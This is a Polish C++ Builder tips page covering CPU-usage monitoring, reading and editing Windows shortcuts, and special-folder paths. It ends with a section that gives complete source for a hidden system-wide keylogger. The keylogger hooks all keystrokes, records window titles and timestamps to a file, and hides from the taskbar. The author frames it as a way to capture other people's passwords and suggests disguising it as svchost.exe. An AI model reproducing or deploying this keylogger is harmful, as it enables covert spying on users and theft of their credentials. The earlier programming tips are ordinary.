Sprawdzanie użycia procesora.

Sprawdzenie w jakim stopniu jest używany procesor w systemie nie jest sprawą prostą, gdyż wymaga to zastosowania w kodzie C++ wstawek asemblerowych, co dla osób nie znających się na asemblerze może stanowić nie lada problem. Ja jednak poszperałem w sieci i znalazłem bibliotekę adCpuUsage.hpp, która czyni ten problem banalnie prostym. Zanim przystąpisz do  testowania tej porady ściągnij sobie archiwum cpulib.zip w którym znajdziesz dwa pliki.

Plik adCpuUsage.hpp trzeba skopiować do katalogu: C:\Program Files\Borland\CBuilder6\Include\Vcl
Jeżeli posiadasz inną wersję środowiska BCB to musisz odpowiednio zmodyfikować tą ścieżkę, zasadniczo chodzi o to, żeby skopiować ten plik do katalogu Include\Vcl

Tworzymy nowy projekt zapisujemy go, a następnie do katalogu projektu kopiujemy plik adCpuUsage.pas, następnie przechodzimy do BCB, w menu Project | Add to Project... i wybieramy właśnie plik adCpuUsage.pas włączając go w ten sposób do projektu. Następnie przechodzimy do pliku nagłówkowego (np. Unit1.h) i w sekcji include dodajemy wpis: #include <adCpuUsage.hpp>
Od tej chwili projekt jest przygotowany do kodowania.

Na początek pokażę jak sprawdzić użycie procesora na komputerach wyposażonych tylko w jeden procesor.
Umieszczamy na formularzu komponent Edit1 oraz komponent Timer1 i tworzymy dla niego zdarzenie OnTimer, a następnie umieszczamy w nim taki kod:

//--------------------------------
void __fastcall TForm1::TimerTimer(TObject *Sender)
{
 CollectCPUData();
 Edit1->Text = "Użycie procesora:" + FloatToStrF((GetCPUUsage(0) * 100), ffNumber, 7, 0) + "%";
}
//--------------------------------

Jak widać wystarczą dwie funkcje: CollectCPUData() inicjuje pobieranie danych o procesorze, GetCPUUsage(0) zbiera i zwraca informacje o procentowym użyciu procesora.
To był przykład na sprawdzenie użycia jednego procesora, może się jednak zdarzyć, że mamy w komputerze więcej procesów, zasada pobierania danych o użyciu kilku procesorów jest taka sam, jednak wymaga zastosowania pętli wyliczającej wszystkie procesory.
Komponent Edit1 zastąpimy teraz komponentem Memo1 i to w nim będą wyświetlane informacje o użyciu procesorów. Dodatkowo tworzymy zdarzenie OnCreate dla formularza, w tym zdarzeniu zostanie wywołana funkcja GetCPUCount() sprawdzająca ile procesorów jest w komputerze. W zdarzeniu OnTimer będzie dodatkowo wywoływana pętla aktualizująca informacje o użyciu procesora:

//--------------------------------
void __fastcall TForm1::FormCreate(TObject *Sender)
{
 Memo1->Lines->Clear();

 //Tutaj następuje sprawdzenie ile procesorów ma komputer
 Memo1->Lines->Add(Format("W systemie znajduje(ją) się %d procesor(y)", ARRAYOFCONST((GetCPUCount()-1))));

 // tutaj zostaje wypełnione Memo wpisami dla każdego procesora
 // wpisy te są następnie aktualizowane w zdarzeniu OnTimer

 for(int i = 0; i < GetCPUCount()-1; i++) MInfo->Lines->Add("");
}
//--------------------------------
void __fastcall TForm1::TimerTimer(TObject *Sender)
{
 CollectCPUData();
 Memo1->Lines->BeginUpdate();

 // w pętli sprawdzane jest zużycie wszystkich procesorów
 for(int i = 0; i < GetCPUCount() - 1; i++)
  Memo1->Lines->Strings[i + 1] = Format("Procesor %d: w użyciu: %5.0f%%", ARRAYOFCONST( (i + 1, (GetCPUUsage(i) * 100)) ) );

 Memo1->Lines->EndUpdate();
}
//--------------------------------

Powyższy kod testowałem na komputerze z procesorem Pentium 4 w systemie WindowsXP.
Dla systemów operacyjnych nie opartych na jądrze NT (np. Win 95/98) trzeba by chyba zmienić: GetCPUCount() - 1 na GetCPUCount(), ale nie mam jak tego sprawdzić, więc nie jestem pewien.

Ważne!

Jeżeli w systemie zostanie wyłączony plik wymiany (pamięć wirtualne, pagefile.sys) to przedstawiona wyżej funkcja nie będzie działać, gdyż system wyłączy usługę odpowiedzialną za optymalizację użycia procesora. Można to oczywiście włączyć zmieniając wpis w rejestrze klucz: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PerfOS\Performance wartość DWORD Disable Performance Counters ustawiamy na 0, ale przy ponownym uruchomieniu systemu i tak wartość ta zostanie ustawiona na 1. Po zmianie tej wartości trzeba by i tak restartować program, by mógł wykrywać zużycie procesora

...powrót do menu. 

Modyfikacja i pobieranie informacji o skrótach.

W dziale API jest porada Tworzenie skrótów do plików, a w tej poradzie zaprezentuję sposób na odczytywanie informacji o skrócie jak również sposób na jego modyfikację.
Na początek przygotowujemy projekt, umieszczamy na formularzu dwa komponenty Button1 i Edit1, a następnie w pliku źródłowym na samej górze umieszczamy wpis: #define NO_WIN32_LEAN_AND_MEAN, a w sekcji include włączmy do projektu bibliotekę shlobj.h:

//---------------------------------------------------------------------------
#define NO_WIN32_LEAN_AND_MEAN

#include <vcl.h>
#pragma hdrstop

#include "Unit1.h"
#include <shlobj.h>

//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"

TForm1 *Form1;
 

Następnie tworzymy specjalną strukturę LINK_FILE_INFO, która będzie przechowywała informacje o wybranym skrócie, oraz funkcję LinkFileInfo pobierającą informacje o zadanym skrócie i przekazującą je do struktury, w przypadku modyfikacji skrótu funkcja będzie pobierała informacje ze struktury:

//---------------------------------------------------------------------------
#define NO_WIN32_LEAN_AND_MEAN

#include <vcl.h>
#pragma hdrstop

#include "Unit1.h"
#include <shlobj.h>

//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"

TForm1 *Form1;

typedef struct tagLINK_FILE_INFO
{
 char sFileName[MAX_PATH + 1]; // długa nazwa pliku do którego prowadzi skrót (element docelowy)
 char lFileName[MAX_PATH + 1]; // krótka nazwa pliku do którego prowadzi skrót (element docelowy)
 char WorkDirectory[MAX_PATH + 1]; // katalog roboczy (rozpocznij w)
 char IconLocation[MAX_PATH + 1]; // lokalizacja pliku ikony skrótu
 int IconIndex;                   // numer indeksu ikony w pliku
 char Arguments[MAX_PATH + 1];    // parametry przekazywane do programu (element docelowy)
 char Description[256];           // opis skrótu (komentarz)
 char RelativePath[256];          // względna ścieżka dostępu
 int ShowState;                   // sposób wyświetlania uruchomionego programu (uruchom)
 Word HotKey;                     // klawisz skrótu
}LINK_FILE_INFO, *PLINK_FILE_INFO;

bool LinkFileInfo(const AnsiString lnkFileName, LINK_FILE_INFO *info, const bool bSet)
{
 HRESULT hr;
 IShellLink *psl;
 WIN32_FIND_DATA wfd;

 IPersistFile *ppf;

 wchar_t *lpw;
 wchar_t *buf;
 bool Result = false;

 buf = (wchar_t *)AllocMem((MAX_PATH + 1) * sizeof(wchar_t));

 try
 {
  if(SUCCEEDED(CoInitialize(NULL)))
  if(SUCCEEDED(CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkA, (void **)(&psl))))
  {
   hr = psl->QueryInterface(IID_IPersistFile,(void **)(&ppf));
   if(SUCCEEDED(hr))
   {
    lpw = StringToWideChar(lnkFileName, buf, MAX_PATH);
    hr = ppf->Load(lpw, STGM_READ);
    if(SUCCEEDED(hr))
    {
     hr = psl->Resolve(NULL, SLR_NO_UI);
     if(SUCCEEDED(hr))
     {
      if(bSet)
      {
       psl->SetArguments(info->Arguments);
       psl->SetDescription(info->Description);
       psl->SetHotkey(info->HotKey);
       psl->SetIconLocation(info->IconLocation, info->IconIndex);
       psl->SetPath(info->lFileName);
       psl->SetShowCmd(info->ShowState);
       psl->SetRelativePath(info->RelativePath, 0);
       psl->SetWorkingDirectory(info->WorkDirectory);
       Result = SUCCEEDED(psl->Resolve(0, SLR_UPDATE));
      }
      else
      {
       psl->GetPath(info->lFileName, MAX_PATH, &wfd, SLGP_RAWPATH);
       psl->GetPath(info->sFileName, MAX_PATH, &wfd, SLGP_RAWPATH);
       psl->GetIconLocation(info->IconLocation,MAX_PATH, &(info->IconIndex));
       psl->GetWorkingDirectory(info->WorkDirectory, MAX_PATH);
       psl->GetDescription(info->Description, 255);
       psl->GetArguments(info->Arguments, MAX_PATH);
       psl->GetHotkey(&(info->HotKey));
       psl->GetShowCmd(&(info->ShowState));
       Result = true;
      }
     }
    }
   }
  }
 }
 __finally
 {
  delete buf;
 }
 return Result;
}
//---------------------------------------------------------------------------

Wywołanie funkcji jest banalnie proste i ogranicza się w zasadzie do utworzenia obiektu struktury i wywołania funkcji z odpowiednimi parametrami, i tak pierwszy argument funkcji lnkFileName to ścieżka dostępu do pliku skrótu i można tutaj podawać tylko ścieżki dostępu do skrótów, a więc plików z rozszerzeniem *.lnk, np: "C:\\Documents and Settings\\All Users\\Pulpit\\C++ Builder.lnk". Drugi argument to wskaźnik do struktury, która przekazuje lub zwraca informacje skrótu. Trzeci argument to przełącznik typu bool, który przestawia funkcję w tryb do odczytu lub do zapisy, czyli jeżeli wstawimy tutaj parametr false to funkcja będzie odczytywała informacje o skrócie, jeżeli natomiast wstawimy parametr  true to funkcja będzie modyfikowała zadany skrót.
Najpierw pokażę jak pobrać informacje o skrócie, w przykładzie zostanie pobrana ścieżka dostępu do pliku, do którego skrót prowadzi:

//---------------------------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{
 LINK_FILE_INFO i;
 memset(&i, 0, sizeof(i));

 if(LinkFileInfo("C:\\Documents and Settings\\All Users\\Pulpit\\C++ Builder.lnk", &i, false))
  Edit1->Text = i.lFileName;
 else
  ShowMessage("Błąd! Brak skrótu!");
}
//---------------------------------------------------------------------------

Teraz modyfikacja skrótu, w przykładzie pokażę jak zmodyfikować ścieżkę dostępu do pliku, do którego skrót ma prowadzić:
Najpierw pokażę jak pobrać informacje o skrócie, w przykładzie zostanie pobrana ścieżka dostępu do pliku, do którego skrót prowadzi:

//---------------------------------------------------------------------------
#include <stdio.h>
void __fastcall TForm1::Button1Click(TObject *Sender)
{
 LINK_FILE_INFO i;
 memset(&i, 0, sizeof(i));

 sprintf(i.lFileName, "%s", "D:\\Borland\\CBuilder6\\Bin\\bcb.exe"); //ścieżka dostępu do programu
 sprintf(i.Arguments, "%s", "-NS"); // parametr dodawany do ścieżki dostępu, nie jest konieczny, ten parametr sprawia że BCB nie wyświetla SplashScreen podczas uruchamiania.

 if(LinkFileInfo("C:\\Documents and Settings\\All Users\\Pulpit\\c++ builder.lnk", &i, true))
  ShowMessage("Zmodyfikowano skrót.");
}
//---------------------------------------------------------------------------

Modyfikując skrót należy pamiętać o jednej rzeczy, jeżeli zmodyfikujemy tylko jeden parametr skrótu, to pozostałe ustawią się na domyślne lub puste, czyli modyfikując skrót należy zawsze podawać ścieżkę dostępu do pliku (element docelowy), w przeciwnym razie pole to pozostanie puste i skrót nie będzie działał.
Na zakończenie coś dla leniwych, jeżeli nie chce się wam pisać całego tego kodu, czyli funkcji i struktury, to możecie sobie ściągnąć gotową bibliotekę linkinfo.hpp. Po pobraniu bibliotekę trzeba skopiować do katalogu: C:\Program Files\Borland\CBuilder6\Include\Vcl. Od teraz wystarczy dodawać do projektu w pliku nagłówkowym w sekcji include wpis:
#include <linkinfo.hpp>. Korzystając z tej biblioteki nie trzeba juz dodawać w pliku źródłowym wpisów #define NO_WIN32_LEAN_AND_MEAN i #include <shlobj.h>, ponieważ biblioteka już je zawiera.
W bibliotece oprócz wyżej przedstawionej struktury i funkcji znajduje się również funkcja tworząca skróty. Sposób korzystania z biblioteki jest dokładnie taki sam jak wyżej przedstawiony dla funkcji:

Pobieranie informacji o skrócie:

//---------------------------------------------------------------------------
#include <linkinfo.hpp>
void __fastcall TForm1::Button1Click(TObject *Sender)
{
 LINK_FILE_INFO i;
 memset(&i, 0, sizeof(i));

 if(LinkFileInfo("C:\\Documents and Settings\\All Users\\Pulpit\\C++ Builder.lnk", &i, false))
  Edit1->Text = i.lFileName;
 else
  ShowMessage("Błąd! Brak skrótu!");
}
//---------------------------------------------------------------------------


Modyfikacja skrótu:

//---------------------------------------------------------------------------
#include <stdio.h>
#include <linkinfo.hpp>

void __fastcall TForm1::Button1Click(TObject *Sender)
{
 LINK_FILE_INFO i;
 memset(&i, 0, sizeof(i));

 sprintf(i.lFileName, "%s", "D:\\Borland\\CBuilder6\\Bin\\bcb.exe"); //ścieżka dostępu do programu
 sprintf(i.Arguments, "%s", "-NS"); // parametr dodawany do ścieżki dostępu, nie jest konieczny, ten parametr sprawia że BCB nie wyświetla SplashScreen podczas uruchamiania.

 if(LinkFileInfo("C:\\Documents and Settings\\All Users\\Pulpit\\c++ builder.lnk", &i, true))
  ShowMessage("Zmodyfikowano skrót.");
}
//---------------------------------------------------------------------------

Tworzenie skrótu:

//---------------------------------------------------------------------------
#include <linkinfo.hpp>
void __fastcall TForm1::Button1Click(TObject *Sender)
{
 String LinkPath = GetSpecialFolder(CSIDL_DESKTOP); // pobieranie ścieżki dostępu do pulpitu dla bieżącego użytkownika (WinXP)
                                                    // dla wszystkich użytkowników CSIDL_COMMON_DESKTOPDIRECTORY
 LinkPath += "\\Nazwa_Programu.lnk";
 if(!CreateShortcutLink("Opis", LinkPath, Application->ExeName, ""))
 {
  // komunikat pokazujący się w przypadku błędu.
 }
}
//---------------------------------------------------------------------------

...powrót do menu. 

Ścieżki dostępu do katalogów specjalnych.

Katalogi specjalne to katalogi zdefiniowane przez system i stanowiące jego integralny składnik jak np. [Menu Start], [Pulpit], [Program Files], [Moje dokumenty], itp... Ścieżki dostępu do tych i podobnych katalogów specjalnych można pobierać za pomocą funkcji SHGetSpecialFolderPath, funkcja pobiera cztery argumenty, nas w tej poradzie interesują argumenty drugi i trzeci. Drugi argument to wskaźnik do zmiennej, której funkcja przekaże odczytaną ścieżkę dostępu, trzeci argument to typ katalogu specjalnego, dla którego chcemy odczytać ścieżkę dostępu.
W przykładzie poniżej przedstawię sposób na pobranie ścieżki dostępu do katalogu [Moje dokumenty], zasada pobierania ścieżek do wszystkich katalogów jest taka sama, jedyna różnica to różne parametry przekazywane funkcji jak trzeci argument. Zanim przystąpimy do pisania kodu, trzeba dodać do pliku źródłowego na jego samym początku wpis #define NO_WIN32_LEAN_END_MEAN, trzeba również włączyć do projektu bibliotekę shlobj.h w sekcji include. Wpis NO_WIN32_LEAN_END_MEAN eliminuje błąd, który występuje w środowisku Borland C++ Builder w wersji 6, w związku z korzystaniem z biblioteki shlobj.h:

//---------------------------------------------------------------------------
#define NO_WIN32_LEAN_AND_MEAN

#include <vcl.h>
#pragma hdrstop

#include "Unit1.h"
#include <shlobj.h>

//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"

TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{
 char SpecDir[MAX_PATH];
 SHGetSpecialFolderPath(NULL, SpecDir, CSIDL_PERSONAL, 0);
 Edit1->Text = (String)SpecDir;
}
//---------------------------------------------------------------------------

Jeżeli chodzi o sposób pobierania ścieżki dostępu do katalogów specjalnych to by było tyle. Niżej przedstawiam listę parametrów określających typ katalogu specjalnego:

 CSIDL_DESKTOP ® // Pulpit
 CSIDL_PROGRAMS
® // Menu Start\Programy
 CSIDL_PERSONAL
® // Moje dokumenty
 CSIDL_FAVORITES
® // <user name>\Ulubione
 CSIDL_STARTUP
® // <user name>\Menu Start\Programy\Autostart
 CSIDL_RECENT
® // <user name>\Recent
 CSIDL_SENDTO
® // <user name>\SendTo
 CSIDL_STARTMENU
® // <user name>\Menu Start
 CSIDL_MYMUSIC
® // Moja muzyka
 CSIDL_MYVIDEO
® // Moje video
 CSIDL_DESKTOPDIRECTORY
® // <user name>\Pulpit
 CSIDL_NETHOOD
® // <user name>\nethood
 CSIDL_FONTS
® // Windows\Fonts
 CSIDL_TEMPLATES
® // <user name>\Szablony
 CSIDL_COMMON_STARTMENU
® // All Users\Menu Start
 CSIDL_COMMON_PROGRAMS
® // All Users\Menu Start\Programy
 CSIDL_COMMON_STARTUP
® // All Users\Autostart
 CSIDL_COMMON_DESKTOPDIRECTORY
® // All Users\Pulpit
 CSIDL_APPDATA
® // <user name>\Dane aplikacji
 CSIDL_PRINTHOOD
® // <user name>\PrintHood

 CSIDL_CDBURN_AREA
® // <user name>\\Ustawienia lokalne\Dane aplikacji\Microsoft\Nagrywanie dysków CD

CSIDL_LOCAL_APPDATA ® // <user name>\Ustawienia lokalne\Dane aplikacji
CSIDL_COMMON_FAVORITES
® // All Users\Ulubione

 CSIDL_INTERNET_CACHE
® //<user name>\Ustawienia lokalne\Temporary Internet Files
 CSIDL_COOKIES
® //<user name>\Cookies
 CSIDL_HISTORY
® //<user name>\Ustawienia lokalne\Historia
 CSIDL_COMMON_APPDATA
® // All Users\Dane aplikacji
 CSIDL_WINDOWS
® // Windows
 CSIDL_SYSTEM
® // Windows\System32 lub Windows\System (Win98)
 CSIDL_PROGRAM_FILES
® // Program Files
 CSIDL_MYPICTURES
® // Moje dokumenty\Moje obrazy

 CSIDL_PROFILE
® // Documents and Settings\<user name>
 CSIDL_SYSTEMX86
® // x86 Windows\System32
 CSIDL_PROGRAM_FILESX86
® // x86 Program Files lub RISC

 CSIDL_PROGRAM_FILES_COMMON
® // Program Files\Common Files

 CSIDL_PROGRAM_FILES_COMMONX86
® // x86 Program Files\Common lub RISC
 CSIDL_COMMON_TEMPLATES
® // All Users\Szablony

 CSIDL_COMMON_DOCUMENTS
® // All Users\Dokumenty
 CSIDL_COMMON_ADMINTOOLS
® // All Users\Menu Start\Programy\Narzędzia administracyjne

 CSIDL_COMMON_MUSIC
® // All Users\Moje dokumenty\Moja muzyka
 CSIDL_COMMON_PICTURES
® // All Users\Moje dokumenty\Moje obrazy
 CSIDL_COMMON_VIDEO
® // All Users\Moje dokumenty\Moje video
 CSIDL_RESOURCES
® // WINDOWS\resources

...powrót do menu. 

Keyloger, czyli przechwytywanie wciśnięcia klawiszy we wszystkich programach.

Keyloger to jeden z bardziej pożądanych programów, ponieważ pozwala na przechwytywanie klawiatury, a właściwie wciśnięcia poszczególnych jej klawiszy. Przechwytywanie wciśnięcia klawiszy tylko w programie, w którym został umieszczony takowy kod, jest sprawą prostą, więc nie będę tego tutaj opisywał.
Ta porada jest o tym jak napisać program, który będzie pozostawał ukryty i nieaktywny (ale uruchomiony oczywiście) i będzie przechwytywał haki systemowe, w tym konkretnym przypadku wciśnięcia poszczególnych klawiszy w systemie, w dowolnym programie, a wynik będzie na bieżąco zapisywał do pliku. Jaki jest pożytek z takiego programu? No cóż, może wydawać się to niemoralne, ale z pomocą takiego programu można przechwytywać hasła wpisywane do programu, o ile oczywiście uda nam się na komputerze, z którego hasła chcemy podejrzeć, uruchomić nasz keyloger. Program będzie pozostawał w ukryciu niewidoczny dla użytkownika i będzie rejestrował wszystkie wciśnięcia klawiszy, co więcej, kod który pokażę, będzie rejestrował również datę i godzinę oraz  nazwę okna w którym klawisze były wciskane, niżej przykład właśnie takiego pliku:

2007-05-13 09:58:54 Mozilla Firefox: http://cyfbar.republika.pl[EN]keyloger c++ builder[EN]
2007-05-13 09:59:23 Bez tytułu - Notatnik: Przyk[rALT]ladowy tekst wpisywany w Notatniku systemowym.
2007-05-13 10:00:09 Dokument1 - Microsoft Word: a t[BK]teraz pisz[lALT][rALT]e w Word'zie.
2007-05-13 10:02:17 Unit1.cpp: //j[BK]keyloger [BK], kod w cpp

Jak widać keyloger tworzy oddzielne rejestry dla różnych okien, dopóki nie zostanie zmienione okno, w ten sposób można precyzyjnie określić co i kiedy było wpisywane. Jeżeli w jakimś programie jest wpisywane hasło, no to najczęściej jest ono maskowane gwiazdkami, lecz keyloger przechwytuje nie gwiazdki lecz tekst, występuje jednak w takim przypadku jeden mankament, otóż podczas wpisywania loginu i hasła następuje przejście z jednego pola do drugiego poprzez kliknięcie myszką i tutaj tak przechwycona nazwa użytkownika i hasło nie zostaną od siebie oddzielone, np:

2007-05-13 09:58:54 Mozilla Firefox: cyfrowy_baron@op.plhaslo

jak widać nie ma przerwy między nazwą użytkownika i hasła, niestety taka drobna niedogodność, próbowałem rejestrować wciśnięcie klawisza myszy w celu oddzielenie wpisów, ale wystąpiły z tym problemy, ponieważ funkcja wykorzystuje już kliknięcia myszki do sprawdzania, czy użytkownik zmienił okno, poza tym program rejestrował zbyt dużo kliknięć i pojawiały się ciągi absurdalnych znaków.
    Drugi problem to polskie znaki, nie mogłem sobie z tym poradzić, ale też nie chciało mi się specjalnie nad tym siedzieć, więc poszedłem na łatwiznę i wprowadziłem rejestrowanie wciśnięcia prawego klawisz Alt, czyli w przypadku wstawienia polskiej litery np. ś program zarejestruje to jako: [rAlt]s, więc np. wyraz światłość, będzie miał następującą postać: [rAlt]swiat[rAlt]lo[rAlt]s[rAlt]c, ale i tutaj pojawia się dodatkowy problem, ponieważ pisząc wyraz światłość, w przypadku wpisywania ostatnich dwóch liter ść użytkownik przytrzyma wciśnięty klawisz Alt i w efekcie wyraz zostanie zarejestrowany jako [rALT]swiat[rALT]lo[rALT]sc, tak więc  z polskimi znakami występują problemy, ale z reguły loginy i hasła nie mogą ich zawierać.
    Kolejna sprawa to klawisze specjalne, jak np. ENTER, TAB, BACKSPACE, itp.. program je rejestruje jako specjalny zestaw znaków i tak np. w przykładzie wyżej mamy coś takiego:
//j[BK]keyloger [BK], kod w cpp widać tutaj wstawki [BK] oznacza to, że w tym momencie został użyty klawisz BackSpace, czyli usuwanie wpisanej litery, dla ENTER będzie to np. [EN] dla Page Up [PU] itd.
Prezentowany tutaj keyloger jest zrobiony jako aplikacja okienkowa, czyli nie wymaga to stosowania żadnych plików *.DLL, czy WinAPI, całość zadania zostaje zrealizowana poprzez funkcję typu HOOKPROC.
Niżej przedstawiam kompletny listing pliku źródłowego keylogera i cały kod programu mieści się w pliku źródłowym Unit1.cpp, w programie wykorzystałem tylko dwa komponenty - przyciski Button1 q którym podłączenie haka (keylogera) i Button2, w którym hak zostaje odłączony:

//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "Unit1.h"
#include <stdio.h>

//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"

TForm1 *Form1;

HHOOK g_hLogHook       = NULL;
HWND g_hLastFocus      = NULL;
const int KeyPressMask = 0x80000000;
char g_PrvChar;
//---------------------------------------------------------------------------
HOOKPROC ConnectHook(int iCode, WPARAM wParam, LPARAM lParam)
{
 if(iCode < 0) return (HOOKPROC)CallNextHookEx(g_hLogHook, iCode, wParam, lParam);

 EVENTMSG *pEvt = (EVENTMSG *)lParam;
 int i;
 HWND hFocus;
 char szTitle[256];
 char szTime[128];
 FILE *stream = fopen("c:\\logfile.txt", "a+t"); //rejestr keylogera zostaje zapisany w pliku logfile.txt na dysku c:

 if(pEvt->message == WM_KEYDOWN)
 {
  int vKey = LOBYTE(pEvt->paramL);
  char ch;
  char str[10];
  hFocus = GetActiveWindow();

  if(g_hLastFocus != hFocus)
  {
   GetWindowText(hFocus, szTitle, 256);
   g_hLastFocus = hFocus;
   strcpy(szTime, DateTimeToStr(Now()).c_str());
   fprintf(stream, "%c%s%c%c%s%s", 10, szTime, 32, 32, szTitle, ":");
   fprintf(stream, "%c%c", 32, 32);
  }

  int iShift   = GetKeyState(0x10);
  int iCapital = GetKeyState(0x14);
  int iNumLock = GetKeyState(0x90);

  bool bShift   = (iShift & KeyPressMask) == KeyPressMask;
  bool bCapital = (iCapital & 1) == 1;
  bool bNumLock = (iNumLock & 1) == 1;

  if(vKey >= 48 && vKey <= 57)
  if(!bShift) fprintf(stream, "%c", vKey);

  if(vKey >= 65 && vKey <= 90)
  {
   if(!bCapital)
   {
    if(bShift)
    {
     ch = vKey;
    }
    else
    {
     ch = vKey + 32;
    }
   }
   else
    if(bShift)
    {
     ch = vKey + 32;
    }
    else
    {
     ch = vKey;
    }
    fprintf(stream, "%c", ch);
   }

   if(vKey >= 96 && vKey <= 105)
   if(bNumLock) fprintf(stream, "%c", vKey - 96 + 48);
   if(vKey >= 186 && vKey <= 222)
   {
    switch(vKey)
    {
     case 186: if(!bShift) ch = ';'else ch = ':';   break;
     case 187: if(!bShift) ch = '='else ch = '+';   break;
     case 188: if(!bShift) ch = ','else ch = '<';   break;
     case 189: if(!bShift) ch = '-'else ch = '_';   break;
     case 190: if(!bShift) ch = '.'else ch = '>';   break;
     case 191: if(!bShift) ch = '/'else ch = '?';   break;
     case 192: if(!bShift) ch = '`'else ch = '~';   break;
     case 219: if(!bShift) ch = '['else ch = '{' break;
     case 220: if(!bShift) ch = '\\'; else ch = '?';   break;
     case 221: if(!bShift) ch = ']'else ch = '}' break;
     case 222: if(!bShift) ch = '\''; else ch = '\"';  break;
     default: ch = 'n'; break;
    }
    if(ch != 'n') fprintf(stream, "%c", ch);
   }
   if(vKey >= 8 && vKey <= 46)
   {
    switch(vKey)
    {
     case 8:  strcpy(str, "[BK]");   break;
     case 9:  strcpy(str, "[TAB]");  break;
     case 13: strcpy(str, "[EN]");   break; // ENTER
     case 17: strcpy(str, "[rALT]"); break; // prawy ALT
     // case 18: strcpy(str, "[lALT]"); break; // lewy ALT
     case 32: strcpy(str, " ");      break; // spacja
     case 33: strcpy(str, "[PU]");   break;
     case 34: strcpy(str, "[PD]");   break;
     case 35: strcpy(str, "[END]");  break;
     case 36: strcpy(str, "[HOME]"); break;
     case 37: strcpy(str, "[LF]");   break;
     case 38: strcpy(str, "[UF]");   break;
     case 39: strcpy(str, "[RF]");   break;
     case 40: strcpy(str, "[DF]");   break;
     case 45: strcpy(str, "[INS]");  break;
     case 46: strcpy(str, "[DEL]");  break;
     default: ch = 'n'; break;
    }
    if(ch != 'n') fprintf(stream, "%s", str);
   }
   if(bShift && vKey == 123)
   {
    Application->Restore();
    ShowWindow(Application->Handle, SW_SHOW);

    if(g_hLogHook != NULL)
    {
     UnhookWindowsHookEx(g_hLogHook);
     g_hLogHook = NULL;
    }
   }

  }
  if(pEvt->message == WM_LBUTTONDOWN && pEvt->message == WM_RBUTTONDOWN)
  {
   hFocus = GetActiveWindow();
   if(g_hLastFocus != hFocus)
   {
    g_hLastFocus = hFocus;
    GetWindowText(hFocus, szTitle, 256);
    strcpy(szTime, DateTimeToStr(Now()).c_str());
    fprintf(stream, "%c%s%c%c%s%s", 10, szTime, 32, 32, szTitle, ":");
    fprintf(stream, "%c%c", 32, 32);
   }
  }
  fclose(stream);

  return (HOOKPROC)CallNextHookEx (g_hLogHook, iCode, wParam, lParam);
}
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{
 if(g_hLogHook == NULL)
  g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD, (HOOKPROC)ConnectHook, HInstance,0);

 Application->Minimize();
 ShowWindow(Application->Handle, SW_HIDE);
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button2Click(TObject *Sender)
{
 if(g_hLogHook != NULL)
 {
  UnhookWindowsHookEx(g_hLogHook);
  g_hLogHook = NULL;
 }
}
//---------------------------------------------------------------------------

W zdarzeniu OnClick przycisku Button1 hak zostaje podłączony do wszystkich procesów, a następnie program zostaje zminimalizowany i ukryty poprzez usunięcie go z paska zadań, w Menadżerze zadań na zakładce Aplikacje program również nie będzie widoczny, jednak będzie widniał na zakładce procesów i nie powiem jak ukryć proces, ponieważ hakerem nie jestem i po prostu nie wiem, przypuszczam, że można to zrobić tylko wykorzystując jakąś lukę systemu, lub też tworząc keyloger w jakimś sterowniku, tylko tutaj pojawia się problem z załadowaniem takiego sterownika do pamięci. Niemniej jednak jak wspomniałem program zostaje ukryty, można mu nadać np. nazwę svchost.exe, wtedy można zmylić użytkownika, ponieważ na zakładce procesów występuje ich kilka, oczywiście wprawne oko informatyka rozpozna tak zamaskowany proces jako fałszywy ponieważ będzie on występował jako proces użytkownika, podczas gdy autentyczne procesy svchost.exe występują tylko jako procesy systemu, usługi sieciowe i usługi lokalne, więc można odróżnić fałszywkę.
Skoro program został ukryty, no to nie można go przywołać i odłączyć haka, dlatego w funkcji ConnectHook umieściłem kod odłączający hak i przywołujący okno po naciśnięciu kombinacji klawiszy SHIFT + F12, czyli wystarczy, że użytkownika naciśnie klawisze SHIFT + F12 a program się ukaże i hak się odłączy, więc kryje się za tym pewne niebezpieczeństwo, to oczywiście sprawia, że kod znajdujący się w zdarzeniu OnClick przycisku Button2 jest zbędny, ale umieściłem go dla przykładu.

...powrót do menu.